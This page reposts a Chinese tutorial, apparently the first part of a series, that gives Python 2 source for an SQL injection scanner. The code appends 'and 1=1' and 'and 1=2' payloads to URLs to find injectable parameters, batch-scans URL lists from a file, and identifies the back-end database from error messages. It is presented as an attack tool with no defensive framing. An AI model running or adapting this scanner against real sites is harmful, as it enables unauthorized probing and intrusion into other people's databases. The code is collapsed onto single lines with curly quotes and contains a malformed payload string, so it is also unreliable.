Python编写SQL注入工具(1)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Python编写SQL注入工具(1),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含2284字,纯文字阅读大概需要4分钟。
内容图文
第一部分:注入点测试模块(injectTest.py)
#coding=gb2312 import urllib import os import string from re import search class injectTest(): def __init__(self,url=‘‘): self.url=url #待检测网址,默认为空 self.a=‘%20and%201=1‘ #检测语句 self.b=‘%20and%201=2‘ self.urls=[] #存在注入的urls #检测单个网址的函数 def judgeUrl(self): page=urllib.urlopen(self.url).read() pagea=urllib.urlopen(self.url+self.a).read() pageb=urllib.urlopen(self.url+self.b).read() if page==pagea and page!=pageb: print ‘网址‘,self.url,‘可能存在注入点!‘ return True else: print ‘网址:‘,self.url,‘不存在注入点!‘ return False #判断待检测的网址文件是否存在 def fileExists(self,name): path=os.getcwd() filepath=path+‘\\‘ filepath=filepath+name return os.path.exists(filepath) #进行批量检测 def judgeUrls(self,file): self.fileExists(file) #如果不存在默认检测的网址文件,则由用户自行输入待检测的文件 while not self.fileExists(file): print ‘待检测网址文件不存在‘ file=str(raw_input(‘请输入待检测的网址文件:‘)) self.fileExists(file) urls=open(file,‘r‘) for url in urls.readlines(): print ‘正在检测:‘,url page=urllib.urlopen(url).read() pagea=urllib.urlopen(url+self.a).read() pageb=urllib.urlopen(url+self.b).read() if page==pagea and page!=pageb: self.urls.append(url) else: continue if len(self.urls): print ‘以下网址可能存在注入点:‘ for u in self.urls: print u else: print ‘该文件中不存在有注入的网址!‘ #判断有注入的网址的数据库类型 #如果不存在回显错误,则可能不能判断出数据库的类型 def whatDatabase(self): db=‘‘ sql=string.join([‘%20and20%user>0‘],‘‘) pagex=urllib.urlopen(self.url+sql).read() if search(‘ODBC Microsoft Access‘,pagex) or search(‘Microsoft JET Database‘,pagex) : print ‘数据库:Access‘ db=‘Access‘ return db elif search(‘SQL Server‘,pagex) or search(‘nvarchar‘,pagex): print ‘数据库:MSSQL‘ db=‘MSSQL‘ return db elif search(‘You have an error in your SQL syntax‘,pagex) or search(‘Query failed‘,pagex) or search(‘SQL query failed‘,pagex) or search(‘mysql_fetch_‘,pagex) or search(‘mysql_num_rows‘,pagex) or search(‘The used SELECT statements have a different number of columns‘,pagex): print ‘数据库:MYSQL‘ db=‘MYSQL‘ return db else: print ‘未判断出数据库类型!‘ return db
Python编写SQL注入工具(1)
标签:
本文系统来源:http://www.cnblogs.com/Kerne0/p/4984254.html
内容总结
以上是互联网集市为您收集整理的Python编写SQL注入工具(1)全部内容,希望文章能够帮你解决Python编写SQL注入工具(1)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。